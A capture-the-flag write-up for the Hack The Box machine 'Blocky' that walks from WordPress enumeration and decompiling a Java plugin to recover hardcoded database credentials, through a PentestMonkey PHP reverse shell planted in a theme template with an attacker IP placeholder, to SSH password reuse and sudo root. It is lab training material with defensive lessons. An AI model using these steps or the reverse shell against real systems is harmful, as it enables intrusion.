root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat blocky.md
// writeups

Blocky

21 Jul 2017 · 11 min read
Blocky - maquina de Hack The Box

Executive summary — Blocky is an Easy Linux box with a great lesson about secrets in code. A Minecraft-blog WordPress mentions user notch in a post, and gobuster finds a /plugins directory holding two downloadable .jar files, plus an exposed /phpmyadmin panel. Decompiling one of the .jar files reveals hardcoded MySQL credentials. That password doesn't work on the WordPress login, but it does unlock phpMyAdmin — from there an alternate path exists (rewriting notch's hash in wp_users and planting a reverse shell in the theme template) that lands as www-data, without direct access to the user flag. The clean route is simpler: notch reuses that same database password directly over SSH. Once in, unrestricted sudo gives root immediately. A WordPress → .jar → credentials → SSH → sudo → root path.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.10.10.37

Attack map

[80] WordPress (Minecraft blog) → a post reveals user «notch»
   │  gobuster → /plugins (two downloadable .jar files), exposed /phpmyadmin
   ▼
[.jar]  decompiled BlockyCore.jar → MySQL credentials: root:8Ysqf...
   │  don't work on wp-login, DO work on /phpmyadmin
   ├─▶ (alt route) phpMyAdmin → MD5 hash in wp_users → wp-admin →
   │     reverse shell in the 404.php template → www-data (no user.txt)
   ▼
[SSH]  notch reuses that same .jar password → user.txt
   │  sudo -l → (ALL : ALL) ALL, no NOPASSWD
   ▼
[ROOT]  sudo su

1. Reconnaissance with Nmap

First, a quick full-port scan so nothing outside the usual service list slips by:

nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.37 -oN nmap_all_ports.txt

-p- scans all 65535 ports, --min-rate=1000 speeds up packet sending, -Pn skips ping discovery (in case the host blocks ICMP) and -T4 raises the timing aggressiveness.

With the open ports already located, a detailed scan against those specific ports:

nmap -p21,22,80,25565 -sC -sV -A 10.10.10.37 -oN nmap_detailed.txt
21/tcp     open  ftp
22/tcp     open  ssh
80/tcp     open  http
25565/tcp  open  minecraft

-sC runs the default NSE scripts, -sV detects service versions and -A adds OS detection and traceroute. Port 25565 (Minecraft) confirms the site's theme before we even open a browser; FTP (21) and SSH (22) give up nothing without credentials, so HTTP (80) is the mandatory entry point.

2. Web enumeration (WordPress)

We add the domain to /etc/hosts — good practice with WordPress, since some internal links and redirects depend on the hostname, not just the IP:

echo "10.10.10.37 blocky.htb" | sudo tee -a /etc/hosts

Browsing to http://blocky.htb reveals an «under construction» Minecraft blog built on WordPress, with a Log in tab. One post mentions a user: notch. Worth noting — on HTB, names that show up «in passing» are rarely a coincidence.

We try a handful of default credentials against the login, at zero cost:

admin:admin
notch:notch
admin:password

None of them work, but we confirm notch is indeed a real user (of the blog, at least) worth keeping in mind.

3. Directory fuzzing with Gobuster

gobuster dir -u http://10.10.10.37 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50 -o gobuster_root.txt

-w is the wordlist, -x adds extensions to try on every word and -t 50 means 50 concurrent threads.

/phpmyadmin
/wp-content
/plugins
/wiki

Quick rundown of each hit: /phpmyadmin is the standard phpMyAdmin login (noted for later credential testing); /wp-content has directory listing disabled; /wiki has no relevant content.

The interesting one is /plugins: it has two downloadable .jar files. A .jar is compiled Java code — and compiled code often hides secrets its author assumed no one would ever read.

4. Decompiling the .jar files → MySQL credentials

We download both files from the /plugins directory:

mkdir jars && cd jars
wget http://10.10.10.37/plugins/BlockyCore.jar
wget http://10.10.10.37/plugins/griefprevention-1.11.2-3.1.1.298.jar

griefprevention-1.11.2-3.1.1.298.jar is a public, legitimate Minecraft Forge plugin (GriefPrevention) — unlikely to hide anything box-specific. BlockyCore.jar, on the other hand, is a custom name: the prime suspect.

A .jar is essentially a ZIP file of Java bytecode. To read the source we need to decompile it. Two options:

# Option A -- jd-gui (graphical, on Kali)
sudo apt install jd-gui -y
jd-gui BlockyCore.jar
# Option B -- extract and grep strings directly (fast, no GUI)
mkdir extracted && cd extracted
unzip ../BlockyCore.jar -d blockycore_out
grep -r -i "sql\|pass" blockycore_out/

Credentials often end up hardcoded in plain text inside the .class files, and grepping the decompiled code —or even the raw compiled binary— already shows them in the clear. Java bytecode reverts almost to the original source: decompiling isn't magic.

public String sqlHost = "localhost";
public String sqlUser = "root";
public String sqlPass = "8YsqfCTnvxAUeduzjNSXe22";

5. Confirming with WPScan

wpscan --url http://10.10.10.37 --enumerate u,vp,vt --api-token YOUR_API_TOKEN -o wpscan_result.txt

--enumerate u enumerates users, vp vulnerable plugins and vt vulnerable themes. The --api-token (free at wpscan.com) adds known-CVE detail; without it, WPScan still works, just without that extra.

The scan confirms what we already suspected and adds new context:

  • Independent confirmation of user notch.
  • An outdated WordPress version.
  • An obsolete Twenty Seventeen theme (worth remembering for the alternate route).
  • /wp-content/uploads reachable — a potential file-upload attack surface.

6. From credentials to a shell

With the .jar credentials (root:8YsqfCTnvxAUeduzjNSXe22) in hand, we test them against the panels we found: on the WordPress login they don't work; on /phpmyadmin, access granted.

6.1 Alternate route — pivoting from phpMyAdmin

Inside phpMyAdmin, the WordPress database exposes the wp_users table. Editing notch's record and typing a new password into the user_pass field with the MD5 function selected has phpMyAdmin hash it automatically on save — the exact format WordPress expects in that column:

user_pass = MD5('password123')   -- via phpMyAdmin's function dropdown

With that, we log into the WordPress panel as an administrator (notch / password123) and abuse a classic WordPress post-exploitation feature: the theme editor. Under Appearance → Theme Editor → Twenty Seventeen → 404.php we replace the content with a PentestMonkey reverse shell:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
$ip = '<ATTACKER_IP>';  // your HTB VPN IP
$port = 4444;

We paste the edited content into the WordPress editor and save (Update File). With the listener up, we force the server to load that template by hitting any non-existent path:

nc -lvnp 4444
curl http://10.10.10.37/this-does-not-exist

The request to a non-existent URL triggers the modified 404.php template, and the reverse shell connects back as the user running the web server, www-data. This route confirms the theme-editor exploitation, but www-data usually doesn't have permission to read /home/notch/user.txt directly — hence the more direct route below.

6.2 Clean route — direct SSH via password reuse

The same password leaked in the .jar is reused by user notch for SSH as well — no need to go through WordPress or phpMyAdmin at all:

ssh notch@10.10.10.37
# password: 8YsqfCTnvxAUeduzjNSXe22
cat /home/notch/user.txt

7. Privilege escalation

We check what notch can run with sudo:

sudo -l
User notch may run the following commands on blocky:
    (ALL : ALL) ALL

(ALL : ALL) ALL means notch can run any command, as any user (including root). NOPASSWD isn't needed for this to be a direct path to root: sudo will just ask for notch's own password, which we already know.

sudo su
whoami  →  root
cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Info leakBlockyCore.jar pluginHardcoded MySQL credentials, recoverable by decompilingMySQL root password
ExposurephpMyAdminUnrestricted panel accepts the leaked credentialsAccess to the WordPress database
Web appWordPress theme editor (Twenty Seventeen)Arbitrary PHP write via the theme editor with admin accessRCE as www-data (alternate route)
FootholdSSHPassword reuse of the DB credentials by user notchDirect access as notch / user.txt
PrivEscsudonotch with (ALL : ALL) ALLRoot

Lessons learned

  • Never put secrets in code: a .jar/.class file decompiles almost back to its original source and reveals the credentials as-is.
  • Don't expose admin panels (phpMyAdmin) or internal directories (/plugins) without an extra layer of access control.
  • The WordPress theme editor is, in practice, a built-in «upload a shell» feature for any admin: treat it as RCE surface and disable it with DISALLOW_FILE_EDIT.
  • Password reuse across services (database, SSH) multiplies the impact of a single leak.
  • sudo (ALL : ALL) ALL is, for all practical purposes, handing over full root: always apply the principle of least privilege.